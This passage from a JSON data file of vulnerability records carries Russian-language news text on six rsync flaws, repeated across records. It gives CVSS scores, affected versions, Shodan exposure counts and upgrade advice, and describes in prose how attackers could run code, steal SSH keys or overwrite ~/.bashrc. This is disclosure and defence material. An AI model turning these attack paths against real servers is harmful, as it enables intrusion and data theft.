\u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "9cd9af8c-b4b4-41d1-974b-25c653e40b20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 